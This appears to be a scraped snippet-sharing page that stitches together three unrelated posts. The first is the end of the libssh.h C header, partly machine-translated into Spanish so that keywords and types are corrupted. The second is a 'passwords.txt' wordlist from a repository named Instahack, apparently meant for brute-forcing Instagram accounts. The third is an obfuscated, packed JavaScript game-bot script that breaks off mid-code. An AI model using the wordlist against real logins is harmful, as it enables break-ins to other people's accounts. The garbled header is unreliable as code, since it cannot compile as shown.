ssh_channel_set_counter ( canal ssh_channel , 483  contador ssh_counter ); 484  LIBSSH_API int ssh_channel_write ( canal ssh_channel , const void * datos, uint32_t len); 485  LIBSSH_API int ssh_channel_write_stderr ( canal ssh_channel , 486   const void * datos, 487   uint32_t len); 488  LIBSSH_API uint32_t ssh_channel_window_size ( canal ssh_channel ); 489  490  LIBSSH_API char * ssh_basename ( const char * ruta); 491  LIBSSH_API void ssh_clean_pubkey_hash ( carácter sin firmar ** hash); 492  LIBSSH_API int ssh_connect ( sesión ssh_session ); 493  494  LIBSSH_API ssh_connector ssh_connector_new ( sesión ssh_session ); 495  LIBSSH_API void ssh_connector_free ( conector ssh_connector ); 496  LIBSSH_API int ssh_connector_set_in_channel ( conector ssh_connector , 497  canal ssh_channel , 498   enum ssh_connector_flags_e banderas); 499  LIBSSH_API int ssh_connector_set_out_channel ( conector ssh_connector , 500  canal ssh_channel , 501   enum ssh_connector_flags_e flags); 502  LIBSSH_API void ssh_connector_set_in_fd ( ssh_connector conector, fd socket_t); 503  LIBSSH_API vacío ssh_connector_set_out_fd ( ssh_connector conector, fd socket_t); 504  505  LIBSSH_API const char * ssh_copyright ( void ); 506  LIBSSH_API void ssh_disconnect ( sesión ssh_session ); 507  LIBSSH_API char * ssh_dirname ( const char * ruta); 508  LIBSSH_API int ssh_finalize ( void ); 509  510  / * REENVÍO DE PUERTO INVERSO * / 511  LIBSSH_API ssh_channel ssh_channel_accept_forward ( sesión ssh_session , 512   int timeout_ms, 513   int * puerto_destino); 514  LIBSSH_API int ssh_channel_cancel_forward ( sesión ssh_session , 515   const char * dirección, 516   int puerto); 517  LIBSSH_API int ssh_channel_listen_forward ( sesión ssh_session , 518   const char * dirección, 519  puerto internacional , 520   int * puerto_delimitado); 521  522  LIBSSH_API void ssh_free ( sesión ssh_session ); 523  LIBSSH_API const char * ssh_get_disconnect_message ( sesión ssh_session ); 524  LIBSSH_API const char * ssh_get_error ( void * error); 525  LIBSSH_API int ssh_get_error_code ( void * error); 526  LIBSSH_API socket_t ssh_get_fd ( sesión ssh_session ); 527  LIBSSH_API char * ssh_get_hexa ( const unsigned char * what, size_t len); 528  LIBSSH_API char * ssh_get_issue_banner ( sesión ssh_session ); 529  LIBSSH_API int ssh_get_openssh_version ( sesión ssh_session ); 530  531  LIBSSH_API int ssh_get_server_publickey ( ssh_session sesión, clave ssh tecla *); 532  533  enum ssh_publickey_hash_type { 534   SSH_PUBLICKEY_HASH_SHA1, 535   SSH_PUBLICKEY_HASH_MD5, 536   SSH_PUBLICKEY_HASH_SHA256 537  }; 538  LIBSSH_API int ssh_get_publickey_hash ( clave const ssh_key , 539   enum ssh_publickey_hash_type type, 540   char ** hash sin firmar , 541   size_t * HLEN); 542  543  / * FUNCIONES ANULADAS * / 544  SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash ( sesión ssh_session , carácter sin firmar ** hash); 545  SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept ( sesión ssh_session , int timeout_ms); 546  SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel ( sesión ssh_session , const char * dirección, int puerto); 547  SSH_DEPRECATED LIBSSH_API int ssh_forward_listen ( sesión ssh_session , const char * dirección, int puerto, int * bound_port); 548  SSH_DEPRECATED LIBSSH_API int ssh_get_publickey ( ssh_session sesión, clave ssh tecla *); 549  SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost ( sesión ssh_session ); 550  SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost ( sesión ssh_session ); 551  SSH_DEPRECATED LIBSSH_API int ssh_is_server_known ( sesión ssh_session ); 552  SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len); 553  554  555  556  LIBSSH_API int ssh_get_random ( void * donde, int len, int fuerte); 557  LIBSSH_API int ssh_get_version ( sesión ssh_session ); 558  LIBSSH_API int ssh_get_status ( sesión ssh_session ); 559  LIBSSH_API int ssh_get_poll_flags ( sesión ssh_session ); 560  LIBSSH_API int ssh_init ( vacío ); 561  LIBSSH_API int ssh_is_blocking ( sesión ssh_session ); 562  LIBSSH_API int ssh_is_connected ( sesión ssh_session ); 563  564  / * HOSTS CONOCIDOS * / 565  LIBSSH_API void ssh_knownhosts_entry_free ( struct ssh_knownhosts_entry * entrada); 566  #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\ 567   si ((e)! = NULO) {\ 568   ssh_knownhosts_entry_free (e); \ 569   e = NULO; \ 570   } \ 571  } mientras (0) 572  573  LIBSSH_API int ssh_known_hosts_parse_line ( const char * host, 574   const char * línea, 575  entrada struct ssh_knownhosts_entry **); 576  LIBSSH_API enumeración ssh_known_hosts_e ssh_session_has_known_hosts_entry ( sesión ssh_session ); 577  578  LIBSSH_API int ssh_session_export_known_hosts_entry ( sesión ssh_session , 579   Char ** pentry_string); 580  LIBSSH_API int ssh_session_update_known_hosts ( sesión ssh_session ); 581  582  LIBSSH_API enumeración ssh_known_hosts_e 583  ssh_session_get_known_hosts_entry ( sesión ssh_session , 584   struct ssh_knownhosts_entry ** pentry); 585  LIBSSH_API enumeración ssh_known_hosts_e ssh_session_is_known_server ( sesión ssh_session ); 586  587  / * REGISTRO * / 588  LIBSSH_API int ssh_set_log_level ( nivel int ); 589  LIBSSH_API int ssh_get_log_level ( void ); 590  LIBSSH_API void * ssh_get_log_userdata ( void ); 591  LIBSSH_API int ssh_set_log_userdata ( void * datos); 592  LIBSSH_API void _ssh_log ( int verbosidad, 593   const char * función , 594   const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 595  596  / * legado * / 597  SSH_DEPRECATED LIBSSH_API void ssh_log ( sesión ssh_session , 598   int prioridad, 599   const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 600  601  LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept ( ssh_message msg); 602  LIBSSH_API int ssh_message_channel_request_reply_success ( ssh_message msg); 603  #define SSH_MESSAGE_FREE (x) \ 604   hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0) 605  LIBSSH_API void ssh_message_free ( ssh_message msg); 606  LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session ); 607  LIBSSH_API int ssh_message_subtype ( ssh_message msg); 608  LIBSSH_API int ssh_message_type ( ssh_message msg); 609  LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t); 610 LIBSSH_API ssh_session ssh_new(void); 611  612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); 613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); 614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); 615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, 616  const void *value); 617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, 618  char **value); 619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); 620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); 621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); 622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); 623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); 624  638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, 639  int echo, int verify, void *userdata); 640  641 LIBSSH_API ssh_key ssh_key_new(void); 642 #define SSH_KEY_FREE(x) \ 643  do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) 644 LIBSSH_API void ssh_key_free (ssh_key key); 645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); 646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); 647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); 648 LIBSSH_API int ssh_key_is_public(const ssh_key k); 649 LIBSSH_API int ssh_key_is_private(const ssh_key k); 650 LIBSSH_API int ssh_key_cmp(const ssh_key k1, 651  const ssh_key k2, 652  enum ssh_keycmp_e what); 653  654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, 655  ssh_key *pkey); 656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, 657  const char *passphrase, 658  ssh_auth_callback auth_fn, 659  void *auth_data, 660  ssh_key *pkey); 661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, 662  const char *passphrase, 663  ssh_auth_callback auth_fn, 664  void *auth_data, 665  char **b64_key); 666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, 667  const char *passphrase, 668  ssh_auth_callback auth_fn, 669  void *auth_data, 670  ssh_key *pkey); 671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, 672  const char *passphrase, 673  ssh_auth_callback auth_fn, 674  void *auth_data, 675  const char *filename); 676  677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, 678  ssh_key privkey); 679  680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, 681  enum ssh_keytypes_e type, 682  ssh_key *pkey); 683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, 684  ssh_key *pkey); 685  686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, 687  enum ssh_keytypes_e type, 688  ssh_key *pkey); 689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename, 690  ssh_key *pkey); 691  692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, 693  ssh_key *pkey); 694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, 695  char **b64_key); 696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, 697  const char *filename); 698  699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); 700  701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, 702  unsigned char *hash, 703  size_t len); 704 LIBSSH_API void ssh_print_hash (enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); 705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); 706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); 707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); 708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); 709 LIBSSH_API int ssh_scp_close(ssh_scp scp); 710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); 711 LIBSSH_API void ssh_scp_free(ssh_scp scp); 712 LIBSSH_API int ssh_scp_init(ssh_scp scp); 713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); 714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); 715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); 716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); 717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); 718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); 719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); 720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); 721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); 722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); 723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); 724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); 725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); 726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, 727  fd_set *readfds, struct timeval *timeout); 728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service); 729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); 730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); 731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); 732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, 733  ssh_counter rcounter); 734 LIBSSH_API void ssh_set_fd_except(ssh_session session); 735 LIBSSH_API void ssh_set_fd_toread(ssh_session session); 736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session); 737 LIBSSH_API void ssh_silent_disconnect(ssh_session session); 738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); 739  740 /* USERAUTH */ 741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); 742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); 743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, 744  const char *username, 745  const ssh_key pubkey); 746 LIBSSH_API int ssh_userauth_publickey(ssh_session session, 747  const char *username, 748  const ssh_key privkey); 749 #ifndef _WIN32 750 LIBSSH_API int ssh_userauth_agent(ssh_session session, 751  const char *username); 752 #endif 753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, 754  const char *username, 755  const char *passphrase); 756 LIBSSH_API int ssh_userauth_password(ssh_session session, 757  const char *username, 758  const char *password); 759  760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); 761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); 762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); 763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); 764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); 765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); 766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); 767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, 768  const char *answer); 769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session); 770 LIBSSH_API const char *ssh_version(int req_version); 771  772 LIBSSH_API void ssh_string_burn(ssh_string str); 773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str); 774 LIBSSH_API void *ssh_string_data(ssh_string str); 775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); 776 #define SSH_STRING_FREE(x) \ 777  do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) 778 LIBSSH_API void ssh_string_free(ssh_string str); 779 LIBSSH_API ssh_string ssh_string_from_char(const char *what); 780 LIBSSH_API size_t ssh_string_len(ssh_string str); 781 LIBSSH_API ssh_string ssh_string_new(size_t size); 782 LIBSSH_API const char *ssh_string_get_char(ssh_string str); 783 LIBSSH_API char *ssh_string_to_char(ssh_string str); 784 #define SSH_STRING_FREE_CHAR(x) \ 785  do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) 786 LIBSSH_API void ssh_string_free_char(char *s); 787  788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, 789  int verify); 790  791  792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); 793  794 LIBSSH_API ssh_event ssh_event_new(void); 795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, 796  ssh_event_callback cb, void *userdata); 797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); 798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); 799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); 800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); 801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); 802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); 803 LIBSSH_API void ssh_event_free(ssh_event event); 804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); 805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); 806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); 807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); 808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); 809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); 810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); 811  812 LIBSSH_API ssh_buffer ssh_buffer_new(void); 813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); 814 #define SSH_BUFFER_FREE(x) \ 815  do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) 816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); 817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); 818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); 819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); 820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); 821  822 #ifndef LIBSSH_LEGACY_0_4 823 #include "libssh/legacy.h" 824 #endif 825  826 #ifdef __cplusplus 827 } 828 #endif 829 #endif /* _LIBSSH_H */</small> </body> </html> <!-- Juan Angel Luzardo Muslera / montevideo Uruguay -->

    From user nenu-doc

  • soxate1433 / https-github.com-somate1433-instahack

    unknown-21-m, Skip to content Search or jump to… Pull requests Issues Marketplace Explore @soxate1433 Learn Git and GitHub without any code! Using the Hello World guide, you’ll start a branch, write comments, and open a pull request. rahnumaa18 / https-github.com-avramit-Instahack 9 37102 Code Issues 0 Pull requests 1 Actions Projects 0 Wiki Security Insights https-github.com-avramit-Instahack/passwords.txt @avramit avramit Rename pass.txt to passwords.txt 3a9591f on Feb 21, 2018 1294 lines (1293 sloc) 11.8 KB 1234 102030 123 1234 12345 123456 1234567 12345678 123456789 1234567890 12345678910 1234567891011 987654321 9876543210 0987654321 0123456789 1234567890 0987654321 0987654321 1234567890 1234567890 11223355 11 101010 111 1111 11111 111111 1111111 11111111 111111111 1111111111 22 222 2222 22222 222222 2222222 22222222 222222222 2222222222 33 333 3333 33333 333333 3333333 33333333 333333333 3333333333 44 444 4444 44444 444444 4444444 444444444 4444444444 55 555 5555 55555 555555 5555555 55555555 555555555 5555555555 66 666 6666 66666 666666 6666666 66666666 666666666 6666666666 77 777 7777 77777 777777 7777777 77777777 777777777 7777777777 99 999 9999 99999 999999 9999999 99999999 999999999 9999999999 00 000 0000 00000 000000 0000000 00000000 000000000 0000000000 0011 1100 001122 00112233 0011223344 001122334455 00112233445566 0011223344556677 001122334455667788 00112233445566778899 00123456789 007007 700700 109876543210 10987654321 987654321 87654321 7654321 654321 543210 54321 432100 123456789 789456 456789 123789 123567 321987 321456987 123654798 987465321 admin administator Abcdefg !@#$%^& 1q2w3e 1234qwer 123qweasd 12345qwertasdfg QWERTasdfg password passwd 001 0012 00123 001234 0012345 00123456 00123456789 123321 12321 123454321 12345654321 1122333445566778899 1122334455667788 11223344556677 112233445566 1122334455 11223344 112233 122333444455555 0112233 01223344 1a2s3d a1s2d3 q1w2e3 1q2w3e 1z2x3c z1x2c3 321ewq 321dsa 321cxz 543dsa ewq321 ewq987 a4s5d6 z1x2c3 qwe123 qwe789 123qwe 789qwe asd123 123asd asd456 456asd zxc123 123zxc 123qwe qwe123 qaz741 741qaz zaq147 147zaq 1qaz zaq1 123qweasdzxc 123qweasd 1234qwer 12345qwert qwert12345 123456qwerty hgvdhq hgpshf i[,gi hgfhsf,v] 123123 123123123 123321123321 123654789 0123654789 1236547890 admin 10203040 1020304050 102030405060 10203040506070 1020304050607080 102030405060708090 100100 100200 100200300 100200300400 100200300400500 100200300400500600 001002003 121212 212121 101010 010101 050505 505050 202020 205020 123456z 123456x 123456c 123456v 123456b 123456n 123456m 123456a 123456s 123456d 123456f 123456g 123456h 123456j 123456k 123456l 123456q 123456w 123456e 123456r 123456t 123456y 123456u 123456i 123456o 123456p 12345z 12345x 12345c 12345v 12345b 12345n 12345m 12345a 12345s 12345d 12345f 12345g 12345h 12345j 12345k 12345l 12345q 12345w 12345e 12345r 12345t 12345y 12345u 12345i 12345o 12345p z123456 x123456 c123456 v123456 b123456 n123456 m123456 a123456 23456 d123456 f123456 g123456 h123456 j123456 k123456 l123456 q123456 w123456 e123456 r123456 t123456 y123456 u123456 i123456 o123456 p123456 z12345 x12345 c12345 v12345 b12345 n12345 m12345 a12345 2345 d12345 f12345 g12345 h12345 j12345 k12345 l12345 q12345 w12345 e12345 r12345 t12345 y12345 u12345 i12345 o12345 p12345 123321123 123321 123!@# 123321!@##@! 123!@#321#@! !@#123 asd!@# !@#qwe qwe!@# !@#QWE !@#ASD asd!@# ASD!@# 1236541 123654 123698745 123654789 7410 74100 741000 0147 00147 000147 123123123123 123123 123321123321 123321 147852 147258 101010 909090 2000 2001 2002 2003 2004 2005 2006 2007 2009 2010 2011 2012 2082 121212 212121 101010 010101 050505 505050 !!!!!! @@@@@@ ###### $$$$$$ *6>@7Kf( DFgrfgrf lsjvjdl, agzcom 123123123 123123123123 123123123123123 123321 1234567890 7676743322 123456 12344321 123451234 1234123 {Nw%!2UK48ED2125487 1234567 O0%9k^7sEMGT*M 12345678 12131415 1234512345 1234554321 121212 111222333 xx_37c_sd 112233 111122223333 1122334455 112233445566 11223344556677 1122334455667788 112233445566778899 11223344 11111 111111 1111111 11111111 111111111 1111111111 11111111111 111111111111 10203040 1020304050 102030405060 10203040506070 1020304050607080 102030405060708090 100100 100200 100200300 100200300400 100200300400500 100200300400500600 100000 222222 333333 444444 555555 666666 777777 888888 999999 000000 00000000 007007 098765 0987654321 987654321 87654321 5678956789 789456 7777777 88888888 99999999 1236547 654321 02587410 987456321 789654123 951753 753951 85208520 9425111 4580456 0666979 44r35e4t RTThmwjrl 13102001 aaswee admin administator Abcdefg !@#$%^& 1q2w3e 1234qwer 123qweasd 12345qwertasdfg QWERTasdfg qwertyuiop[] 1234567890-= =-0987654321 =-098][poi 54321trewq !@#$%^&*()_+ !@#$%!@#$% !@#$%QWERT qwertyuiasdfghj asdfghjkl;' zxcvbnm,./ 1qaz2wsx 12qwaszx password passwd acknowledgeable anthropomorphic autosuggestible autotransformer chloroplatinate circumferential circumscription complementarity complementation contemporaneous counterargument counterproposal crystallography decipherability electrophoresis entrepreneurial experimentation extracurricular extralinguistic heterostructure incommensurable incomprehension inconsequential instrumentation jurisprudential ****mathematics neoconservative neurophysiology notwithstanding parasympathetic parliamentarian physiotherapist plenipotentiary psychotherapist quasicontinuous quasistationary straightforward substitutionary synchronization telecommunicate telephotography teletypesetting transplantation trichloroacetic trichloroethane abductors abducts abeam abecedarian abecedarians abed abele abeles abelia abelian abelias abelmosk abelmosks aberdeen aberrance aberrances aberrancies aberrancy aberrant aberrantly aberrants aberrated aberration aberrational aberrations abet abetment abetments abets abettal abettals abetted abetter abetters abetting abettor abettors abeyance abeyances abeyancies abeyancy abeyant abfarad abfarads abhenries abhenry abhenrys abhor abhorred abhorrence abhorrences abhorrent abhorrently abhorrer abhorrers vv_dbs_la abhorring abhors abidance abidances abide abided abider abiders abides abiding abidingly abidingness abigail abigails abilene abilities ability abiogeneses abiogenesis abiogenic abiogenically abiogenist abiogenists abiological abioses abiosis abiotic abiotically abject abjection abjections abjectly abjectness abjectnesses abjuration abjurations abjuratory abjure abjured abjurer abjurers abjures abjuring ablate ablated ablates ablating ablation ablations ablatival ablative ablatively ablatives ablaut ablauts ablaze able ablegate ablegates ableness abler ables ablest ablings ablins abloom abluent abluents ablush abluted ablution ablutionary ablutions ably abmho abmhos abnegate abnegated abnegates abnegating abnegation abnegations abnegator abnegators abner abnormal abnormalities abnormality abnormally abnormals abo aboard abode aboded abodes aboding abohm abohms aboideau aboideaus aboideaux aboil aboiteau aboiteaus aboiteaux abolish abolishable abolished abolisher abolishers abolishes abolishing abolishment abolishments abolition abolitionary abolitionism abolitionisms abolitionist abolitionists abolitions abolla abollae aboma abomas abomasa abomasal abomasi abomasum abomasus abominable abominably abominate abominated abominates abominating abomination abominations abominator abominators aboon aboral aborally aboriginal aboriginally aboriginals aborigine aborigines aborning abort aborted aborter aborters abortifacient abortifacients aborting abortion abortional abortionist abortionists abortions fhgfdtg 5482325347^$#@@ %&^*^%^%$#% @#$%^%$&^ @!~!@ #!@#!~@#~ ^%*((&*( ^&%$%@##~!@FDJ @!$#@%^&*^( (*&(^$!@#@# %^%*&)(*) &^*&%$@#!@# @!#@^*&)(* ^&^UYHRT^ @!#~!W@!R #@$@#E@!~#E @#$%#T^Y& 54654^T$$#^$% RTRY%^&^%&Y 24g4f54ty ty864y6y+ tryt9yt ty4597y tyt79 dfdsrfes%$^%*&^( @!#@#%^&(* 121212 212121 101010 010101 050505 505050 111111 222222 333333 666666 555555 444444 777777 888888 999999 123456z 123456x 123456c 123456v 123456b 123456n 123456m 123456a 123456s 123456d 123456f 123456g 123456h 123456j 123456k 123456l 123456q 123456w 123456e 123456r 123456t 123456y 123456u 123456i 123456o 123456p 123123 12345z 12345x 12345c 12345v 12345b 12345n 12345m 12345a 12345s 12345d 12345f 12345g 12345h 12345j 12345k 12345l 12345q 12345w 12345e 12345r 12345t 12345y 12345u 12345i 12345o 12345p zxcvbn asdfgh qwerty zxc123 asd123 qwe123 zxcvbnm asdfghjkl qwertyuiop 147258 456789 0123456789 012345 0123456 6543210 101010 1020 10 1010 20 30 2020 3030 0123 01234 123123 321321 112233 332211 121212 212121 2121 prorat pro 050 12345 abc123 password passwd 123456 010101 01010101 10101010 101010 admin 1010101 10101010 101010 19701970 1970 19711971 1971 19721972 1972 19731973 1973 19741974 1974 19751975 1975 19761976 1976 19771977 1977 19781978 1978 19791979 1979 19801980 1980 19811981 1981 19821982 1982 19831983 1983 19841984 1984 19851985 1985 2000 2005 2001 2003 2002 2004 12345678910 1234567890 123456789 12345678 1234567 12345 1234 123 12 1 5110 1122 2211 0011 1100 123123 1212 2121 0101 1010 741852963 147258369 159357 357159 13579 2468 246810 1 11 111 1111 11111 111111 1111111 11111111 2 22 222 2222 22222 222222 2222222 22222222 3 33 333 3333 33333 333333 3333333 33333333 4 44 444 4444 44444 444444 4444444 444444444 5 55 555 5555 55555 555555 5555555 55555555 6 66 666 6666 66666 666666 6666666 66666666 7 77 777 7777 77777 777777 7777777 77777777 8 88 888 8888 88888 888888 8888888 88888888 9 99 999 9999 99999 999999 9999999 99999999 0 00 000 0000 00000 000000 0000000 00000000 101010 1020 10 1010 20 30 2020 3030 0123 01234 123123 321321 112233 332211 121212 212121 21211022 10sne1 111111 121212 1225 123 123123 1234 12345 123456 1234567 12345678 123456789 1234qwer 123abc 123go 1313 131313 13579 14430 1701d 1928 1951 199220706 1a2b3c 1p2o3i 1q2w3e 1qw23e 1sanjose 2 20 2000 2001 2002 2003 2112 21122112 2222 246 249 2welcome 369 4444 4runner 5252 54321 5555 5683 6071992 654321 666666 6969 696969 7 7007 777 7777 80486 8675309 888888 90210 911 92072 99999999 <invalid> <unknown> @#$`^& a a&m a&p a's a12345 a1b2c3 a1b2c3d4 aa aaa aaaaaa aaas aal aalii 00 00-08-A 000 000 0000 00000 000000 0000000 00000000 000000009 000000011 00000040 0000007 0000019 000007 00001111 00001969 00007 0000qw 0001000 000111 000134 000153 0002006 000249 000571 000925 0009732 000ersin 001001 0010068163 001071 001100 001122 00119945 0012345 001239 00130013 001301 00132580 001453 00174800 0018754 001926 0019800840 00198800 001989 001991 001992 001995 002006 0020134537 0020602060 002200 002233 0025014 002731186 002758 002929 0034 003400 003487 00376370 003a9cd5 004063 004455q 0047204 00531531 0053695 00561100 0066789 007 007007 00720072 007d8sa7 0080 009 00931687 00950e 0096341 00967515 00alero 00bond 00bouer 00hasi00 01 0101 010101 01010202 01011970 01011985 01011988 0101239034 010136 0101991336 0101rojo 010201023 010203 010205 01021975 01022837 0103060120 01031975 01036392 010376 0103775433 010403 01041958 rttr32rt 43534251 34$%^^&^ @#@!32 ^&3365 @#!3 WQEQEWQR#$#& #@$#%GVGGH%^Y ^$%^TYTRYT %$^5565+69+ $##$#^$& 553214y54 $%$#%%^%$^324 Yr1D73A$h{-K aTh5Dw,R+NT1 xxxx xxxxx xxxxxx xxxxxxx xxx x1x2x3x4 x00x55x00 xx0011xx 147896321 1598753 123578951 145632587 123654789 12304789 !!!!!! @@@@@@ ###### $$$$$$ !q@w#e$r

    From user soxate1433

  • traziy / traziygaming530

    unknown-21-m, eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j 3E(a,b){6.2G[a]=b;1o(n c=0,d=0;d<2;d++)6.2G[d]&&c++;0==c?$("#2w").1j(\'<u T="1Z">0 / 2</u>\'):$("#2w").1j(\'<u T="25">\'+c+" / 2</u>")}j 5a(){1o(n a=0;a<2;a++)6.2G[a]=!1,6.1K[a]=1a 4n(4X.4S(1a 4T(["("+3N()+")()"],{2n:"1R/3I"}))),6.1K[a].46=j(a){n b=a.2m;2k(b.o){q"39":3E(b.F,!0),1M(!0,"1m"+b.F,b.1w,"#5j",!0),1i("1m"+b.F,b.x,b.y);t;q"2b":3E(b.F,!1),3x("1m"+b.F);t;q"18":1i("1m"+b.F,b.x,b.y);t;3d:S.P("4q 1V 4r 4C 1m")}},6.1K[a].1l({o:"F",F:a});2K()}j 58(){1o(n a=0;a<3;a++)6.1W[a]=1a 4n(4X.4S(1a 4T(["("+3N()+")()"],{2n:"1R/3I"}))),6.1W[a].1l({o:"F",F:a})}j 1E(a){1o(i 3M 6.1K)6.1K[i].1l(a)}j 2N(a){1o(i 3M 6.1W)6.1W[i].1l(a)}j 